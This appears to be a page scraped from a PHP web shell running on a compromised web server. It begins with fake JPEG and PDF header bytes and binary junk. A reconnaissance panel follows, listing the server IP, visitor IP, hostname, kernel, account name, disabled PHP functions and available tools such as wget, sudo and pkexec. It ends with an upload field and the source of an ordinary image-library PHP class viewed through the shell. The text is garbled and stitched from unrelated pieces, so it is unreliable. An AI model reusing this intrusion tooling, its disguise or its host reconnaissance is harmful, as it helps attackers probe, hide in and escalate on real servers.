ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/vendor/intervention/image/src/Intervention/Image/ |
Upload File : |
<?php namespace Intervention\Image; class File { /** * Mime type * * @var string */ public $mime; /** * Name of directory path * * @var string */ public $dirname; /** * Basename of current file * * @var string */ public $basename; /** * File extension of current file * * @var string */ public $extension; /** * File name of current file * * @var string */ public $filename; /** * Sets all instance properties from given path * * @param string $path */ public function setFileInfoFromPath($path) { $info = pathinfo($path); $this->dirname = array_key_exists('dirname', $info) ? $info['dirname'] : null; $this->basename = array_key_exists('basename', $info) ? $info['basename'] : null; $this->extension = array_key_exists('extension', $info) ? $info['extension'] : null; $this->filename = array_key_exists('filename', $info) ? $info['filename'] : null; if (file_exists($path) && is_file($path)) { $this->mime = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $path); } return $this; } /** * Get file size * * @return mixed */ public function filesize() { $path = $this->basePath(); if (file_exists($path) && is_file($path)) { return filesize($path); } return false; } /** * Get fully qualified path * * @return string */ public function basePath() { if ($this->dirname && $this->basename) { return ($this->dirname .'/'. $this->basename); } return null; } }